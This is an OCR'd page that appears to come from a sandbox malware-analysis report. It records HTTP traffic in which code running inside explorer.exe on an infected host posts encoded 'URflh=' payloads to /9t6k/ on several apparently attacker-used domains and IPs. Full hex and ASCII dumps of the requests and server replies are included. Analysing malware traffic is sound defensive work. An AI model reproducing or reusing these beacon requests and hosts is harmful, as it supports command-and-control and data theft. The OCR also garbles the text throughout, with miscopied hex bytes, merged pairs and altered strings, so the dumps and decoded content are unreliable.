76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6¢ 79 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e Oa 3c 68
31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6¢ 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74
2068 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 68 6f 6d 65 64 6f 6b 69 74 61 2e
63 6f 6d 2f 39 74 36 6b 2f 3f 55 52 66 6¢ 68 3d 35 59 62 67 69 57 4f 4d 76 4b 31 30 65 2b 44 2b 54 69 34 6f 4b 76 6d 54
77 755377 61 4b 42 64 65 4b 4e 4c 72 6b 56 41 73 52 52 76 46 35 4c 77 62 54 4d 4f 65 73 47 59 65 64 6d 31 62 47 33
63 4a57 49 61 26 61 6d 70 3b 55 66 72 44 61 6¢ 3d 30 6e 4d 70 71 4a 56 50 35 74 5f 50 44 44 35 70 22 3e 68 65 72 65
3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55
62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 61 68 6f 6d 65 64 6f 6b 69 74 61 2e 63 6f 6d 20 50 6f 72
74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e Oa

Data Ascii: <IDOCTYPE HTML PUBLIC "-/IETF//DTD HTML 2.0//EN"><htmI><head><title>301 Moved Permanent
ly</titte></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://ahomedokita.com/9t
6k/?URflh=5YbgiWOMvK10e+D+TidoKvmTwuSwaKBdeKNLrkVAsRRvF5LwbTMOesGYedm1bG3cJWla&amp;UfrDal=
0nMpqJVP5t_PDD5p">here</a>.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at www.ahomedokita.com Port
80</address></body></html>

Destination IP Destination Port Process

104.24.104.178 80 C:\Windows\explorer.exe

Data

POST /9t6k/ HTTP/1.1

Host: www.dainikamarsomoy.com

Connection: close

Content-Length: 411

Cache-Control: no-cache

Origin: http://www.dainikamarsomoy.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.dainikamarsomoy.com/9t6k/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 55 52 66 6¢ 68 3d 5a 35 62 49 47 78 76 62 56 32 6e 41 6¢ 32 79 65 49 63 69 69 6¢ 70 7a 33 6¢ 55 38 77 5a 75
385251 2d 76 46 4a 7a 61 45 78 70 4b 7a 4a 74 51 76 4c 56 5a 57 35 31 37 63 44 32 74 6e 59 65 53 7a 48 6d 45 32 28
36 46 51 32 39 79 75 6a 50 32 74 67 5f 6d 47 71 30 39 4c 67 6a 4b 53 30 6b 45 75 45 75 70 34 4a 6¢ 50 41 41 70 5a 58
48 73 68 54 6¢ 66 57 6¢ 52 6e 78 52 35 57 28 69 53 55 79 71 4f 32 31 4d 69 58 4f 4d 41 61 41 52 4b 78 4e 58 44 4b 6e 34
6a 6b 50 6e 33 35 36 4d 52 6d 48 53 74 64 7a 61 30 65 6f 41 72 38 38 5f 6d 41 79 71 39 56 48 65 62 38 31 53 44 46 65 4
3 4b 5f 49 64 69 36 6e 66 43 66 66 79 28 37 79 76 31 44 43 79 4e 6a 33 6b 48 41 68 4e 62 41 61 57 55 36 77 59 55 67 61
62 62 45 56 65 67 47 7e 6b 62 62 79 69 68 38 42 5a 4f 78 59 6d 55 52 72 66 32 53 30 48 61 70 63 68 70 63 74 76 6d 76
4c 6b 6b 3556 4d 41 53 4¢ 53 70 33 70 58 51 77 69 64 6d 72 4a 4d 56 67 72 5a 65 52 78 64 6¢ 65 67 6d 36 32 59 67 72
6f 35 4c 36 49 57 77 74 33 43 71 6a 62 76 32 62 55 6d 33 42 64 69 5a 32 67 4a 4a 38 49 6f 4f 57 41 28 49 75 69 74 46 30
63 4f 76 4f 6b 28 61 57 57 30 55 32 57 43 37 28 66 6a 50 41 61 49 48 31 35 76 54 32 32 52 46 78 4a 28 6a 45 33 51 30
50 67 75 46 4d 54 58 73 38 32 66 54 45 6b 5a 46 65 67 29 2e 00 00 00 00 00 00 00 00

Data Ascii: URflh=25bIGxvbV2nAl2yelciilpz3lU8wZu8RQ-vFJzaExpKzJtQvLVZW517cD2tnYeSzHmME2(6FQ29yujP2tg_
mMGQq09LgjKSOKEUEUp4JIPAAPZXHShTIfWIRNXR5W (iISUyqO21MiXOMAaARKXNXDKn4jkPn356 MRmHStdzaOeoAr88_
mAyq9VHeb81SDFeCK_Idi6nfCffy(7yv1DCyNj3kHAhNbAaWU6wWYUgabbEVegG~kbbyih8BZOxYmURf2S0Hapchpc
tvmvLkk5VMASLSp3pXQwidmrJMVgrZeRxdlegm62Ygro5L6IWwt3Cgjbv2bUm3Bdiz2gJJ8I0OWA(IuitFOcOvOk(a
WWOU2WCT7(fiPAalH15vT22RFXJ(JE3QOPguFMTXs82fTEKZFeg).

Destination IP Destination Port Process

104.24.104.178 80 C:\Windows\explorer.exe

Data

GET /9t6k/?URflh=W7vyYWXucRnMwWrTc6z6xJ7lylAaea5WWr62fhSAhoSHINEqGWpe7zCBUOdcNM6Zeho8&UfrD
al=0nMpgJVP5t_PDD5p HTTP/1.1

Host: www.dainikamarsomoy.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:
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kBytes
Timestamp transferred

Dec 3, 2020 7140
10:08:13.968651056 CET

Session ID Source IP
53 192.168.2.5

kBytes
Timestamp transferred
Dec 3, 2020 7142

10:08:24.270152092 CET

Dec 3, 2020 7142
10:08:24.434139013 CET

Session ID Source IP

54 192.168.2.5
kBytes

Timestamp transferred

Copyright null 2020

Direction

IN

Source Port

49812

Direction

ouT

Source Port

49813

Direction

Data

HTTP/1.1 301 Moved Permanently

Date: Thu, 03 Dec 2020 09:08:13 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: close

Set-Cookie: __cfduid=dce6bbb6ef6bcc9b010dbd513535ed47d1606986493; expires=Sat, 02-Jan-21 09:08:13 GMT;
path=/; domain=.dainikamarsomoy.com; HttpOnly; SameSite=Lax

Expires: Wed, 11 Jan 1984 05:00:00 GMT

Cache-Control: no-cache, must-revalidate, max-age=0

X-Redirect-By: WordPress

Location: http://dainikamarsomoy.com/9t6k/?URflh=W7vyYWXucRnMwWrTc6z6xJ7lylAaea5WWr62fhSAhoSHINEqGWp
e7zCBUOdcNM6Zeho8&UfrDal=0nMpgJVP5t_PDD5p

X-LiteSpeed-Cache: hit

CF-Cache-Status: DYNAMIC

cf-request-id: 06c9750725000027bc9d93b000000001

Report-To: {"endpoints":[{"url":"https:VVa.nel.cloudflare.com\/report?s=a831%2FS0%2FNhmpPHv5NGyLzL mUhbcg3UIG
vX5MDiIGQWnLI4A00kZIgUjtCOKGxIkZZUuNe251stUgxudDy7E7gSIgnV9yy%2FwWE0eR%2BY 0iXZwyxbcGQEs%2Bm4
Ng%3D%3D"}],"group":"cf-nel","max_age":604800}

NEL: {"report_to":"cf-nel","max_age":604800}

Server: cloudflare

CF-RAY: 5fbc2451db7927bc-PRG

Data Raw: 30 0d Oa 0d Oa

Data Ascii: 0

Destination IP Destination Port Process

198.54.117.210 80 C:\Windows\explorer.exe

Data

POST /9t6k/ HTTP/1.1

Host: www. kingdomwinecommunity.com

Connection: close

Content-Length: 411

Cache-Control: no-cache

Origin: http://www.kingdomwinecommunity.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.kingdomwinecommunity.com/9t6k/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 55 52 66 6¢ 68 3d 50 6f 7a 79 71 59 39 35 71 50 52 42 4c 66 4b 76 57 6e 5a 44 4d 7a 59 37 4e 50 62 72 37 59
6570 7a 62 68 4e 36 73 76 7a 7e 61 51 58 41 4c 63 55 47 51 42 68 7a 59 63 4e 73 4c 32 6e 6a 43 64 69 37 62 56 71 50
59 7a 6¢ 58 47 76 79 30 5f 56 6a 65 37 78 4d 43 46 61 57 75 46 72 32 45 71 62 4b 79 78 35 55 64 30 5a 38 64 49 7e 6b
79 4e 6¢ 51 62 49 39 6f 71 6b 4e 68 36 6d 4a 79 74 32 53 32 74 44 3543 38 58 73 4a 68 78 45 4b 67 31 7532 74 73 36 6
453 43 4c 36 52 4a 35 55 54 78 61 72 46 54 4f 37 67 53 4d 6d 28 35 50 58 62 32 76 75 35 33 56 44 28 4e 64 6a 45 4c 4a
65 62 6b 28 6f 59 39 75 63 6b 62 55 6f 73 53 4a 2d 6e 79 50 38 6f 6e 50 78 6f 7a 78 5a 49 4d 6d 38 69 50 4a 54 66 30 6d
7737743978 4e 69 72 63 72 66 33 61 61 62 69 76 4c 64 59 46 53 62 49 4b 68 6b 53 31 65 49 54 46 55 53 51 54 6f 6a
47 38 47 36 67 69 6¢ 46 70 37 64 49 68 46 64 52 37 50 32 55 30 66 55 56 74 39 45 48 59 37 6f 48 46 64 6f 67 35 49 6d 43
78 4d 61 4a 54 70 79 37 33 4¢ 45 76 44 63 56 76 63 31 45 5a 37 36 76 68 55 49 6d 59 31 71 6a 4e 72 51 7e 46 49 44 51
47 4c 66 59 70 4c 33 53 35 4a 53 4f 65 62 70 48 6a 53 72 50 6e 54 75 31 4c 64 75 35 39 53 4¢ 67 46 44 38 73 54 55 4c 68
4351 38 41 44 46 5f 49 54 59 41 48 67 28 75 36 51 29 2e 00 00 00 00 00 00 00 00

Data Ascii: URflh=PozyqY95qPRBLfKVWNnZDMzY7NPbr7YepzbhN6svz~aQXALcUGQBhzYcNsL2njCdi7bVqgPYz!
XGvy0_Vje7xMCFaWuFr2EqbKyx5Ud0Z8dI~kyNIQbI9ogkNh6mJyt2S2tD5C8XsIhxEKglu2ts6dSCLERISUTxarFT
07gSMm(5PXb2vu53VD(NdJELJebk(oY9uckbUosSJ-nyP8onPxozxZIMm8iPJTfOmw7t9xNircrf3aabivLdYFShIK
hkS1elTFUSQTo0jG8G6gilFp7dIhFdR7P2UOfUVtIEHY 70HFdog5ImCxMaJTpy73LEvDcVVe1EZ76vhUImY 1gjNrQ~F
IDQGLfYpL3S5JSOebpHjSIPnTulLdu59SLgFD8sTULhCQ8ADF_ITYAHQ(U6Q).

HTTP/1.1 405 Not Allowed

Date: Thu, 03 Dec 2020 09:08:24 GMT

Content-Type: text/html

Content-Length: 154

Connection: close

Server: namecheap-nginx

Allow: GET, HEAD

Data Raw: 3c 68 74 6d 6¢ 3e 0d Oa 3c 68 65 61 64 3e 3¢ 74 69 74 6¢ 65 3e 34 30 35 20 4e 6f 74 20 41 6¢ 6¢ 6f 77 65 64
3c 2f 74 69 74 6¢ 65 3e 3c 2f 68 65 61 64 3e 0d Oa 3c 62 6f 64 79 3e 0d Oa 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35
20 4e 6f 74 20 41 6¢ 6¢ 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d Oa 3¢ 68 72 3e 3c 63 65 6e 74 65 72 3e
6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d Oa 3c 2f 68 74 6d 6¢ 3e 0d Oa

Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr>
<center>openresty</center></body></html>

Destination IP Destination Port Process

198.54.117.210 80 C:\Windows\explorer.exe

Data
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kBytes

Timestamp transferred
Dec 3, 2020 7143
10:08:24.441462040 CET
Session ID Source IP
55 192.168.2.5
kBytes
Timestamp transferred
Dec 3, 2020 7144
10:08:29.638134956 CET
Dec 3, 2020 7145
10:08:29.753004074 CET
Session ID Source IP
56 192.168.2.5
kBytes
Timestamp transferred
Dec 3, 2020 7144

10:08:29.655560970 CET

Copyright null 2020

Direction

ouT

Source Port

49814

Direction

ouT

Source Port

49815

Direction

ouT

Data

GET /9t6k/?URflh=AgHI0+MX2ftrVe3DEiYBNVYhM67Z+gKer8sV+OvuybcJEOEIXTUx/0N346XCugNKhu9g&UfrD
al=0nMpgJVP5t_PDD5p HTTP/1.1

Host: www.kingdomwinecommunity.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

Destination IP Destination Port Process

34.102.136.180 80 C:\Windows\explorer.exe

Data

POST /9t6k/ HTTP/1.1

Host: www.pocketspacer.com

Connection: close

Content-Length: 411

Cache-Control: no-cache

Origin: http://www.pocketspacer.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.pocketspacer.com/9t6k/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 55 52 66 6¢ 68 3d 6b 6b 4d 7a 63 57 4d 6¢ 7e 7a 51 31 58 7a 32 73 68 76 6f 77 4a 69 46 36 38 30 4b 51 61 42
54 5a 30 4d 7e 35 6b 43 7e 63 6¢ 6f 62 4a 51 35 7a 78 38 57 38 44 75 71 43 35 4c 42 53 61 6d 6b 30 4e 76 49 51 32 6e
46 4a 4f 53 61 73 56 7a 66 33 61 53 4c 66 50 56 57 75 6a 57 37 4d 68 6a 41 67 30 6e 35 4a 74 4d 50 42 6b 42 7a 4f 73 49
57 7e 4e 66 52 71 53 71 75 70 41 43 4b 42 4¢c 54 77 31 70 62 47 4a 76 30 68 34 59 64 46 79 2d 6f 75 4f 55 51 76 74 39 59
68 7a 2d 78 37 78 44 76 42 55 76 38 34 30 63 69 37 7e 78 4e 6f 78 44 70 51 54 75 46 6e 62 6b 38 61 4b 35 59 67 6a 68
42 4d 76 75 74 6e 78 51 34 55 62 49 6b 69 51 6b 4b 7a 43 75 43 33 45 33 4f 47 6e 33 4d 6b 50 46 4d 54 36 68 7e 43 47 4
e 386259 6b 55 49 47 6d 4b 72 41 38 62 34 4f 71 53 6a 37 59 75 4b 36 61 5a 32 71 58 4b 39 4c 5f 51 42 6d 61 7a 58 28
78 45 45 6¢ 42 78 33 38 6d 47 55 65 41 4b 4a 38 67 4d 42 57 42 31 53 4e 7a 56 6a 4b 7a 77 76 76 37 28 51 73 57 6d 72
6f 61 64 34 62 69 4b 6b 41 68 47 69 41 41 79 38 7a 35 33 51 66 61 62 7a 4d 6e 74 4c 4f 73 39 57 65 53 52 63 51 58 70
61 53 50 35 6f 32 2d 37 41 78 66 6a 43 63 37 34 6d 6f 6a 51 37 61 36 41 69 6¢ 4a 35 48 41 4d 37 78 70 63 77 51 61 53 57
58 35 4b 6d 39 30 34 28 37 53 4a 32 77 35 32 7a 51 29 2e 00 00 00 00 00 00 00 00

Data Ascii: URflh=kkMzcWMI~zQ1Xz2shvowJiF680KQaBTZ0M~5kC~clobJQ5zx8W8DuqC5LBSamkONvIQ2nFJO
SasVzf3aSLfPVWujW7MhjAgOn5JtMPBkBzOsIW~NfRqSqupACKBLTw1pbGJvOh4YdFy-ouOUQVt9Yhz-x7xDvBUv84
0ci7~xNoxDpQTuFnbk8aK5YgjhBMvutnxQ4UblkiQkKzCuC3E30Gn3MkPFMT6h~CGN8bYKUIGmMKrA8b40gSj7YuK6a
Z20gXK9L_QBmazX(XEEIBx38mGUeAKJI8gMBWB1SNzVjKzwvv7(QsWmroad4biKkAhGiAAy8z53QfabzMntLOs9WeSRc
QXpaSP502-7AxfjCc74mojQ7abAilISHAM7xpcwQaSWX5Km904(7SJ2w52zQ).

HTTP/1.1 405 Not Allowed

Server: openresty

Date: Thu, 03 Dec 2020 09:08:29 GMT

Content-Type: text/html

Content-Length: 154

X-Adblock-Key: MFwwDQY JKoZlhveNAQEBBQADSWAWSAIBAIRmMzcpTevQakWn6dJuX/N/HxI7YxbOwy8+73ijgYSQ
EN+WGxrruAKtZtliwC86+ewQ0OmsW1W8psOFL/b00zZWgsCAWEAAQ_GEwHIQi1VSZyqT1UrUquVjt203ea2iKHxBUONH
P+F302SR8NbunloViXW2nNgfPoaMr79v5xJzKy9z+J494BhQ

Via: 1.1 google

Connection: close

Data Raw: 3c 68 74 6d 6¢ 3e 0d Oa 3c 68 65 61 64 3e 3¢ 74 69 74 6¢ 65 3e 34 30 35 20 4e 6f 74 20 41 6¢ 6¢ 6f 77 65 64
3c 2f 74 69 74 6¢ 65 3e 3c 2f 68 65 61 64 3e 0d Oa 3c 62 6f 64 79 3e 0d Oa 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35
20 4e 6f 74 20 41 6¢ 6¢ 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3¢ 68 72 3e 3c 63 65 6e 74 65 72 3e
6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d Oa 3c 2f 68 74 6d 6¢ 3e 0d Oa

Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr>
<center>openresty</center></body></html>

Destination IP Destination Port Process

34.102.136.180 80 C:\Windows\explorer.exe

Data

GET /9t6k/?URflh=rm4JCycf8jgnKzL2gaZxJFxF+HyMTTLQtqzA4xmgqdXyWq3yulARpOHOZAK4rmQWxcAt&UfrD
al=0nMpgJVP5t_PDD5p HTTP/1.1

Host: www.pocketspacer.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:
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Timestamp

Dec 3, 2020
10:08:29.770999908 CET

Session ID

57

Timestamp

Dec 3, 2020
10:08:34.946937084 CET

Dec 3, 2020
10:08:35.197216034 CET

Session ID

58

Timestamp

Copyright null 2020

kBytes
transferred

7146

Source IP

192.168.2.5
kBytes

transferred

7147

7148

Source IP

192.168.2.5

kBytes
transferred

Direction

IN

Source Port

49816

Direction

ouT

Source Port

49817

Direction

Data

HTTP/1.1 403 Forbidden

Server: openresty

Date: Thu, 03 Dec 2020 09:08:29 GMT

Content-Type: text/html

Content-Length: 275

ETag: "5fc56729-113"

Via: 1.1 google

Connection: close

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e 0a 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 65 6e 22 3e Oa 3c 68 65
61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22
20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6¢ 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20
20 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d
61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c
74 69 74 6¢ 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6¢ 65 3e 0Oa 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e Oa 3c
68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e Oa 3c 2f 68 74 6d 6¢ 3e
Oa

Data Ascii: <IDOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-
8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon">  <title>Forbidden</title></head><body>
<h1>Access Forbidden</h1></body></html>

Destination IP Destination Port Process

162.0.238.42 80 C:\Windows\explorer.exe

Data

POST /9t6k/ HTTP/1.1

Host: www.cia3mega.info

Connection: close

Content-Length: 411

Cache-Control: no-cache

Origin: http://www.cia3mega.info

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.cia3mega.info/9t6k/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 55 52 66 6¢ 68 3d 7a 72 6e 4f 51 6d 4b 54 6b 48 79 41 54 68 69 64 55 4c 59 7a 77 65 35 64 33 4a 42 5a 36 52
6¢ 4b 6a 6b 74 70 55 47 51 52 4c 43 55 37 33 35 46 61 4c 41 73 47 30 74 4f 54 65 75 61 46 53 37 77 39 59 73 56 77 36
75 65 4e 47 5f 50 4d 6b 53 6a 31 6d 56 62 65 66 47 54 64 38 76 32 5f 62 4c 30 43 37 35 47 7a 4f 67 73 53 45 30 33 62 5a
42 4879 7a 7a 62 56 77 6b 41 6b 68 4c 52 75 4c 6a 62 55 6f 48 6e 51 43 59 33 6¢ 72 70 6f 67 49 73 30 49 67 7a 76 37 32
6¢ 4d 38 75 49 77 47 72 50 6b 4b 6¢ 6f 52 52 59 75 4a 6a 73 77 45 51 33 4b 56 74 45 49 6d 55 39 58 54 6¢ 54 76 45 74
28 74 A7 44 54 65 4c 2d 7a 37 61 62 61 57 4e 56 76 4e 45 45 46 44 55 4d 52 74 59 70 45 50 68 42 32 51 72 6e 6b 79 30
68 74 77 4b 75 6f 4c 6a 4c 42 33 4d 39 3557 6e 76 6f 75 45 4c 72 6e 6e 4d 63 79 75 2d 52 44 65 31 46 68 52 35 59 52 4e
5a 6d 5f 7e 54 5a 4c¢ 66 4a 55 77 64 70 73 4c 6b 42 32 44 61 63 46 4b 76 46 75 51 34 67 71 4d 6¢ 70 68 6b 75 47 37 6d
75 76 4c 44 75 49 35 56 4f 35 28 72 6b 39 6f 76 46 6a 7e 6d 65 4c 6e 68 4c 51 44 6d 47 73 75 72 32 4¢c 59 66 7e 72 69 35
64 35 35 46 4f 61 4c 37 4a 42 64 5f 6d 76 34 6e 4e 6e 74 6¢ 6d 34 43 39 6e 6d 47 2d 44 45 6a 64 59 36 70 65 31 54 43 58
76 57 42 2d 73 42 55 33 53 57 43 30 37 61 28 41 29 2e 00 00 00 00 00 00 00 00

Data Ascii: URflh=zrnOQmKTkHyAThidULYzwe5d3JBZ6RIKjktpUGQRLCU735FaLAsG0tOTeuaFS7w9YsVw6eueN
G_PMkSjimVbefGTd8v2_bLOC75GzOgsSE03bZBHyzzbVwkAkhLRuLjbUoHNQCY 3IrpoglsOlgzv72IM8ulwGrPkKlo
RRYuJjswEQ3KVIEImMUSXTITVEL(tGDTeL-z7abaWNVVNEEFDUMRtY pEPhB2QrnkyOhtwKuoLjLB3M95WnvouELmnM
cyu-RDelFhR5YRNZm_~TZLfJUwdpsLkB2DacFKvFuQ4ggMIphkuG7muvLDul5VO5(rk9ovFj~meLnhLQDmGsur2LYf
~ri5d55F0aL7JBd_mv4nNntim4C9nmG-DEjdY6pel TCXvWB-sBU3SWCO07a(A).

HTTP/1.1 404 Not Found

Date: Thu, 03 Dec 2020 09:08:35 GMT

Server: Apache/2.4.29 (Ubuntu)

Content-Length: 295

Connection: close

Content-Type: text/html; charset=utf-8

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48
54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6¢ 65 3e 34 30 34 20
4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c 68 31 3e 4e 6f 74
20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 39 74 36 6b 2f
20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 68 72 3e
0d 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65
722061742077 77 77 2e 63 69 61 33 6d 65 67 61 2e 69 6e 66 6f 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e
0d Oa 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa

Data Ascii: <IDOCTYPE HTML PUBLIC "-/IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title></head>
<body><h1>Not Found</h1><p>The requested URL /9t6k/ was not found on this server.</p><hr><address>Apa
che/2.4.29 (Ubuntu) Server at www.cia3mega.info Port 80</address></body></html|>

Destination IP Destination Port Process

162.0.238.42 80 C:\Windows\explorer.exe

Data

Page 74 of 97



kBytes
Timestamp transferred

Dec 3, 2020 7148
10:08:37.122399092 CET

Dec 3, 2020 7149
10:08:37.353118896 CET

Session ID Source IP
59 192.168.2.5

kBytes
Timestamp transferred
Dec 3, 2020 7151

10:08:44.181226015 CET

Session ID Source IP
6 192.168.2.5

kBytes
Timestamp transferred
Dec 3, 2020 5964

10:04:19.767529964 CET

Copyright null 2020

Direction

ouT

Source Port

49818

Direction

ouT

Source Port

49749

Direction

ouT

Data

GET /9t6k/?URflh=8pTOOCjpukmgT2/VEONoh7Jhw41r4itl2gwuQkgKFiQj+4gEMjoX0rzINNSQA5Q10cRE&UfrD
al=0nMpgJVP5t_PDD5p HTTP/1.1

Host: www.cia3mega.info

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 404 Not Found

Date: Thu, 03 Dec 2020 09:08:37 GMT

Server: Apache/2.4.29 (Ubuntu)

Content-Length: 328

Connection: close

Content-Type: text/html; charset=utf-8

Data Raw: 3¢ 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48
54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6¢ 65 3e 34 30 34 20
4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c 68 31 3e 4e 6f 74
20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 39 74 36 6b 2f
20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3¢ 70 3e 41
64 64 69 74 69 6f 6e 61 6¢ 6C 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65
6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44
6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 2f 62 6f
64 79 3e 3c 2f 68 74 6d 6¢ 3e

Data Ascii: <IDOCTYPE HTML PUBLIC "-/IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title></head>
<body><h1>Not Found</h1><p>The requested URL /9t6k/ was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p></body></htm|>

Destination IP Destination Port Process

104.31.71.137 80 C:\Windows\explorer.exe

Data

POST /9t6k/ HTTP/1.1

Host: www.sportsbookmatcher.com

Connection: close

Content-Length: 411

Cache-Control: no-cache

Origin: http://www.sportsbhookmatcher.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.sportsbhookmatcher.com/9t6k/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 55 52 66 6¢ 68 3d 4c 36 6¢ 46 69 57 39 4b 57 6e 51 57 4c 39 6¢ 62 63 42 37 51 54 59 4a 34 6¢ 79 6¢ 78 4¢ 51
7572 37 48 74 57 38 52 39 37 6d 61 69 33 67 78 46 5f 57 47 79 68 6d 4d 65 33 51 2d 53 61 5a 53 4a 31 70 55 44 34 57
39416456 58 36 41 32 63 37 71 7e 43 77 73 31 37 55 43 78 43 61 5f 48 6f 4a 79 54 51 52 37 48 79 6a 67 4b 30 59 73
59 43 45 2d 47 56 31 35 6e 74 75 49 72 54 48 6¢ 65 66 4f 55 39 66 4d 47 37 72 75 67 36 77 35 54 4d 59 28 73 6b 4d 62 5
86a59 45 30 6e 61 51 52 61 30 58 42 72 43 44 6a 73 64 71 4b 57 39 62 32 37 72 32 48 57 54 33 4d 69 6b 76 5a 71 50
